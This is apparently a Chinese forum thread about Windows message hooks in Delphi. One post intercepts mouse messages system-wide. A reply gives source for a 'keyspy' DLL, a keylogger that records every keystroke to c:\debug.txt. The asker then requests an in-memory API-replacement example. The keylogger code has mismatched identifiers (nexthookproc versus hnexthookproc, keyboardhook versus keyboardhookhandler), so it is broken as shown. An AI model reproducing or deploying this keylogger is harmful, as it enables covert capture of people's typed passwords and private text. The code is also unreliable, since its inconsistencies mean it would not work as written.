dephi的,不知对你有没有用。
unit hookunit;
interface
uses windows,messages,Dialogs,SysUtils;
var hNextHookProc:HHOOK;
               kkk:integer;
function ManageThemessage(ncode:integer;Wpara:WPARAM;var lpara:TMSG):LRESULT;stdcall export;
function sethookintowindow:BOOL;export;
function unsethookoutwindow:BOOL;export;implementationfunction sethookintowindow:BOOL;export;begin    Result := False;
  if hNextHookProc <> 0 then Exit;  hNextHookProc := SetWindowsHookEx( WH_GETMESSAGE ,
    @ManageThemessage,
    HInstance,
    0);
  Result := hNextHookProc <> 0;
end;function unsethookoutwindow:BOOL;export;
begin
  if hNextHookProc <> 0 then
  begin
    UnhookWindowshookEx(hNextHookProc);  
    hNextHookProc := 0;
    MessageBeep(0);
    MessageBeep(0);
  end;
  Result := hNextHookProc = 0;
end;function ManageThemessage(ncode:integer;Wpara:WPARAM;var lpara:TMSG):LRESULT;stdcall export;
var buf:pchar;
    CN:pchar;
    h:Thandle;
    P:Tpoint;
begin
if lpara.message=WM_RBUTTONDOWN then
begin
  getcursorpos(p);
  h:=WindowFromPoint(P);
  getmem(CN,GetWindowTextLength(h)+1);
  GetWindowText(h,CN,GetWindowTextLength(h)+1);
  //showmessage(CN);
  freemem(CN);
  lpara.message:=0;  
  Result := CallNextHookEx(hNextHookProc, nCode, wPara, longint(@lPara));
  exit;
end;
Result := CallNextHookEx(hNextHookProc, nCode, wPara, longint(@lPara));
 { if lpara.message=WM_RBUTTONDOWN then
  begin
    showmessage('fuck');
    lpara.message:=0;  
    Result := CallNextHookEx(hNextHookProc, nCode, wPara, longint(@lPara));
    exit;
  end else
  if lpara.message=WM_LBUTTONUP  then
  begin
    getmem(buf,254);
    getwindowtext(lpara.hwnd,buf,254);
  //  showmessage(string(buf));
    if string(buf)='MsoDockTop' then
    begin
      lpara.message:=0;  
    end;
    Result := CallNextHookEx(hNextHookProc, nCode, wPara, longint(@lPara));
    exit;
  end else
  begin
    getmem(buf,254);
    getwindowtext(lpara.hwnd,buf,254);
   // showmessage(string(buf));
    if string(buf)='MsoDockTop' then
    begin
    //  showmessage(inttostr(lpara.message));
     lpara.message:=0;  
    end;
    Result := CallNextHookEx(hNextHookProc, nCode, wPara, Longint(@lpara));
  end;}//example
  
end;end.

解决方案 »

  1.   

    一、hook(钩子)的实现: ---- hook是应用程序在microsoft windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果hook过程在应用程序中实现,若应用程序不是当前窗口时,该hook就不起作用;如果hook在dll中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在dll中实现hook的方式。 ---- 1.新建一个导出两个函数的dll文件,在hookproc.pas中定义了钩子具体实现过程。代码如下: library keyspy;
    uses
    windows,  messages, hookproc in 'hookproc.pas';
    exports
    setkeyhook,
    endkeyhook;
    begin
    nexthookproc:=0;
    procsaveexit:=exitproc;
    exitproc:=@keyhookexit;
    end.2.在hookproc.pas中实现了钩子具体过程:
    unit hookproc;
    interface
    uses
    windows, messages, sysutils, controls, stdctrls;
    var
    nexthookproc:hhook;
    procsaveexit:pointer;
    function    keyboardhook(icode:integer;wparam:wparam;
                  lparam:lparam):lresult;stdcall;export;
    function    setkeyhook:bool;export;//加载钩子
    function    endkeyhook:bool;export;//卸载钩子
    procedure  keyhookexit;far;
    const
    afilename='c:\debug.txt';//将键盘输入动作写入文件中
    var
    debugfile:textfile;
    implementation
    function keyboardhookhandler(icode:integer;wparam:wparam;
    lparam:lparam):lresult;stdcall;export;
    begin
    if icode<0 then
    begin
    result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
    exit;
    end;
    assignfile(debugfile,afilename);
    append(debugfile);
    if getkeystate(vk_return)<0 then
    begin
    writeln(debugfile,'');
    write(debugfile,char(wparam));
    end
    else
    write(debugfile,char(wparam));
    closefile(debugfile);
    result:=0;
    end;
    function endkeyhook:bool;export;
    begin
    if nexthookproc<>0 then  begin
    unhookwindowshookex(nexthookproc);
    nexthookproc:=0;
    messagebeep(0);  end;
    result:=hnexthookproc=0;
    end;
    procedure keyhookexit;far;
    begin
    if nexthookproc<>0 then endkeyhook;
    exitproc:=procsaveexit; end;
    end.
      

  2.   

    谢谢两位
    我想要的是能替换内存api函数的例子